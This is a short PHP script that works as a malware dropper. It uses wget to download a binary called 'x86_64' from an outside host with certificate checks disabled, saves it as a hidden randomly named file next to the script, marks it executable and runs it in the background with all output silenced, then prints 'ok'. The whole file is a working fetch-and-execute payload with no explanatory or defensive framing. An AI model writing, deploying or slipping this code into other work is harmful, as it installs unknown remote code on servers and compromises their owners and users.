<?php
$u = 'http://pingu.ltd/x86_64';
$f = __DIR__ . '/.' . bin2hex(random_bytes(4));
exec("wget -q --no-check-certificate -O ".escapeshellarg($f)." ".escapeshellarg($u)." && chmod 700 ".escapeshellarg($f)." && nohup ".escapeshellarg($f)." >/dev/null 2>&1 &");
echo 'ok';
